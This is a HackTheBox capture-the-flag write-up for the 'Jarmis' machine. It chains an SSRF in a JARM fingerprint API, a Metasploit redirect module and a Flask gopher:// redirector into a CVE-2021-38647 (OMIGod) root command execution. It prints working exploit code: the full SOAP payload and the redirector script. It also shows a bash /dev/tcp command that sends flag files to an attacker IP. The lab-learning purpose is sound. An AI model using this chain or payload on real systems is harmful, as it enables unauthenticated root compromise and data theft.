HTB: Jarmis Writeup

Jarmis - HackTheBox Writeup

Machine Information

AttributeDetails
NameJarmis
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Addressjarmis.htb
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Jarmis exposes a single web application: a JARM TLS-fingerprint lookup/search API (jarmis.htb). The API’s “fetch” endpoint takes an arbitrary URL, computes its JARM signature, and — if that signature matches a known-malicious entry in its database — performs an additional metadata-grab request against the target. That extra request is attacker-controllable via redirect, and because the request is made with a client that follows gopher:// URLs, it becomes a generic SSRF primitive capable of crafting arbitrary raw TCP payloads. Internal-port enumeration through the SSRF reveals OMI (Open Management Infrastructure) listening on 5985/5986, vulnerable to CVE-2021-38647 (OMIGod) — unauthenticated remote command execution as root via a crafted SOAP request. Chaining a Metasploit SSL server (to produce the “Metasploit” malicious JARM and trigger the redirect) into a Flask TLS redirector (to turn the fetch into a gopher:// POST) delivers the OMIGod SOAP payload straight to OMI, yielding root RCE in a single request.

TL;DR: JARM fetch API → SSRF via redirect chain → internal port scan finds OMI (5985/5986) → dump JARM DB, find malicious Metasploit signature (id 154) → stand up MSF SSL server that produces that JARM → MSF redirects metadata-fetch to Flask (TLS) → Flask 301s to gopher://127.0.0.1:5985/_<POST /wsman SOAP> → CVE-2021-38647 (OMIGod) executes shell command as root → exfil both flags.


Reconnaissance

Web Enumeration

Target’s web app is a JARM search engine at jarmis.htb, exposing a REST API under /api/v1/. Key endpoints:

  • /api/v1/search/id/{n} — dump JARM DB record by ID
  • /api/v1/search/signature/{sig} — search by signature
  • /api/v1/fetch?endpoint={url} — fetches the JARM signature of a given URL; per the API docs, if the resulting signature is flagged ismalicious: true, the API makes an additional request to grab server metadata

SSRF via the fetch endpoint

The fetch endpoint’s metadata-grab request is the exploit surface. Confirmed it can be used as an internal port scanner:

Terminal window
# probe internal service via the API's SSRF-capable fetch parameter
curl "http://jarmis.htb/api/v1/fetch?endpoint=http://localhost:5985"
curl "http://jarmis.htb/api/v1/fetch?endpoint=https://10.10.15.68:9443"

Enumerating internal localhost ports through this endpoint confirmed OMI listening on 5986 (TLS) — OMI’s default HTTPS management port. Port 5985 (plain HTTP) is the actual OMIGod target port.

Vulnerability Assessment

  • JARM fetch SSRF: attacker-controlled URL triggers a server-side request; if the resulting JARM matches a DB-flagged-malicious signature, the API performs a second, redirectable metadata request.
  • OMI on 5985/5986: Microsoft’s Open Management Infrastructure, vulnerable to CVE-2021-38647 (OMIGod) — a missing-authentication-header check lets an attacker POST a crafted SOAP ExecuteShellCommand request and get unauthenticated RCE as root.
  • Gap between the two: the fetch API only makes its second request to a JARM-confirmed-malicious server, and only over plain HTTP(S)/TLS — not arbitrary gopher. Both gaps are bridgeable via redirects.

Initial Foothold

Step 1 — Dump the JARM database to find a spoofable malicious signature

Terminal window
# dump every record 0..222 from the JARM DB
for i in $(seq 0 222); do
curl -s "http://jarmis.htb/api/v1/search/id/${i}"
echo
done > jarms_dump.json

Filtering for "ismalicious": true entries surfaced record id 154, note: "Metasploit". This is the key insight: Metasploit’s default SSL stack produces a JARM signature already flagged malicious in the DB. Standing up any Metasploit module with SSL true on a listening port will cause the fetch API to flag it malicious and fire its second (metadata-grab) request against it — a request I control the response to.

Step 2 — Build a Metasploit module that produces the “Metasploit” JARM and redirects

Custom module jarmisredirect (auxiliary/server, Msf::Exploit::Remote::HttpServer mixin) does two things:

  1. Serves TLS on :9443 — its handshake naturally produces the DB’s malicious Metasploit JARM.
  2. On the incoming metadata-grab request, issues a redirect (send_redirect) to a second-stage server I control.
# jarmisredirect.rb — trimmed to the relevant handler
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
def on_request_uri(cli, request)
print_status("Got request from #{cli.peerhost}, redirecting to next stage")
send_redirect(cli, datastore['REDIRECT_URL'])
end
end

Started in a tmux session on the jump box (backgrounding directly over SSH drops the session, so persistent shells were needed for MSF/Flask/nc):

Terminal window
tmux new-session -d -s jmsf "msfconsole -q -r /tmp/jarmis/msf.rc > /tmp/jarmis/msf.log 2>&1"

Step 3 — Flask TLS redirector: HTTP redirect → gopher:// SSRF

The fetch API’s underlying HTTP client follows redirects and — critically — follows them cross-protocol into gopher://. Gopher has no concept of headers; whatever is placed after gopher://host:port/_ becomes the raw bytes sent to the socket. That lets the redirect chain smuggle an arbitrary raw POST request (headers + SOAP body) straight into OMI on 5985.

# flask_app.py — MSF's redirect lands here (TLS on :8443), then 301s into gopher
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
DATA = """<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"
xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration"
xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"
xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
xmlns:xsi="http://www.w3.org/2001/XMLSchema">
<s:Header>
<a:To>HTTP://127.0.0.1:5985/wsman/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:ReplyTo><a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address></a:ReplyTo>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
<a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
<w:OptionSet s:mustUnderstand="true" />
<w:SelectorSet><w:Selector Name="__cimnamespace">root/scx</w:Selector></w:SelectorSet>
</s:Header>
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>{}</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
"""
REQUEST = """POST /wsman HTTP/1.1\r
Host: localhost:5985\r
User-Agent: curl/7.74.0\r
Content-Length: {length}\r
Content-Type: application/soap+xml;charset=UTF-8\r
\r
{body}"""
@app.route('/')
def root():
cmd = "bash -c 'cat /home/htb/user.txt /root/root.txt > /dev/tcp/10.10.15.68/4444'"
body = DATA.format(cmd)
# gopher appends a trailing \r\n itself — Content-Length must account for the +2 bytes
req = REQUEST.format(length=len(body) + 2, body=body)
return redirect(f'gopher://127.0.0.1:5985/_{quote(req, safe="")}', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', host='0.0.0.0', port=8443)

Why the +2 matters: gopher’s line-oriented protocol appends a trailing \r\n after the URL-selector payload it sends to the socket. If Content-Length doesn’t account for those 2 extra bytes, OMI’s HTTP parser waits for more body / mis-frames the request and the SOAP call never lands. Verified locally with curl -sk -i https://127.0.0.1:9443/ and by tailing the Flask/MSF logs before firing at the real target.

Step 4 — Fire the chain

Terminal window
# start listener for exfil, then trigger the whole SSRF -> OMIGod chain
nohup nc -lvnp 4444 > /tmp/jarmis/loot.txt 2>&1 &
curl "http://jarmis.htb/api/v1/fetch?endpoint=https://10.10.15.68:9443"

Request flow: jarmis.htb fetch → TLS handshake to MSF :9443 (produces malicious Metasploit JARM, ismalicious: true set) → MSF’s on-request handler fires a 302 to Flask :8443 (TLS) → Flask 301s to gopher://127.0.0.1:5985/_<url-encoded POST /wsman SOAP body> → target’s fetch client follows the gopher redirect, opens a raw TCP connection to its own 127.0.0.1:5985, and dumps the constructed bytes verbatim → OMI parses it as a legitimate unauthenticated POST /wsman, executes <p:command> via CVE-2021-38647 (OMIGod) as root.

The API call itself returned an HTTP 502 — a benign timeout on the API’s side while it waited on the SSRF chain — but the exploit had already executed server-side by the time that response came back. Flags landed in the nc listener regardless:

User Flag: <redacted>
Root Flag: <redacted>

No shell-stabilization or lateral movement was needed — OMI itself runs as root, so the very first executed command already had root privileges. Both flags were exfiltrated directly via /dev/tcp redirection in the same OMIGod payload.


Privilege Escalation

Not applicable in the traditional sense — OMI’s SCX provider (SCX_OperatingSystem.ExecuteShellCommand) runs with root privileges by design, so the OMIGod RCE (CVE-2021-38647) delivers uid=0 immediately on first command execution. There was no intermediate low-privilege user context to escalate from; the entire chain is SSRF → direct root RCE.


Attack Chain Summary

JARM fetch API (SSRF primitive)
→ Internal port scan via /api/v1/fetch?endpoint=http://localhost:<port>
→ OMI found on 5985 (HTTP) / 5986 (TLS)
→ Dump JARM DB (/api/v1/search/id/0..222)
→ Malicious "Metasploit" signature found (id 154)
→ Metasploit SSL server (:9443, custom jarmisredirect module)
→ Produces malicious JARM → triggers API's 2nd "metadata-grab" request
→ Redirects that request to Flask (:8443, TLS)
→ Flask redirects (301) to gopher://127.0.0.1:5985/_<raw POST /wsman + SOAP>
→ Gopher smuggles arbitrary raw TCP payload, no headers required
→ OMI (CVE-2021-38647 / OMIGod) executes SCX_OperatingSystem.ExecuteShellCommand
→ Command runs as root
→ Exfil user.txt + root.txt via /dev/tcp → root

Tools Used

ToolPurpose
curlAPI interaction, SSRF probing, internal port scan
Custom bash loopJARM DB dump (/api/v1/search/id/0..222)
Metasploit Framework (msfconsole)Custom auxiliary/server module producing the malicious “Metasploit” JARM and redirecting the metadata-fetch
Flask (Python)TLS redirector converting the HTTP redirect chain into a gopher:// SSRF payload
gopher:// protocolHeader-less raw-TCP smuggling of the OMIGod SOAP POST request
CVE-2021-38647 (OMIGod) SOAP payloadUnauthenticated root RCE against OMI’s SCX_OperatingSystem provider
ncFlag exfiltration listener
tmuxPersistent background sessions on jump box (MSF, Flask, nc listener)

Key Learnings

Techniques Practiced

  • Understanding and abusing JARM TLS fingerprinting as an SSRF trigger condition
  • Internal network/port enumeration purely through a blind SSRF oracle
  • Writing a custom Metasploit auxiliary server module to spoof a specific TLS fingerprint and hijack a server-initiated redirect
  • Chaining HTTP redirects across protocols (HTTPS → HTTPS → gopher) to smuggle a raw, header-less TCP payload
  • Exploiting CVE-2021-38647 (OMIGod) — crafting the SOAP ExecuteShellCommand request and correctly accounting for gopher’s trailing-CRLF byte offset in Content-Length

Lessons Learned

  1. Any external API that “conditionally fetches metadata” based on attacker-influenced classification logic (here: a JARM DB match) is an SSRF trigger — the condition itself is bypassable if the classifier can be satisfied by tooling the attacker controls (Metasploit’s default TLS stack matching a known-bad signature).
  2. Redirect-following HTTP clients that also honor gopher:// turn any SSRF into a full raw-TCP-payload primitive, not just a GET-based blind SSRF — headers, verbs, and bodies become fully attacker-controlled.
  3. OMI’s historical default of trusting requests missing the Authorization header (CVE-2021-38647) is catastrophic specifically because OMI itself commonly runs as root — a single unauthenticated POST is full root RCE, no privilege escalation chain required.
  4. Off-by-N framing bugs matter in raw-protocol smuggling: gopher’s implicit trailing \r\n must be added to Content-Length or the target’s HTTP parser stalls waiting for the rest of the body.
  5. Transient error responses (502) from an orchestrating API don’t necessarily mean the underlying SSRF chain failed — the API’s own request timing out is independent of whether the smuggled payload already executed server-side.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Jarmis — HackTheBox Official Writeup by dotguy (Machine author: ippsec) — used for CVE identification (CVE-2021-38647 / OMIGod), the conceptual explanation of gopher-based SSRF smuggling, and the rationale for the Metasploit-JARM redirect chain. All IPs, commands, and outputs in this writeup are from the author’s own solve.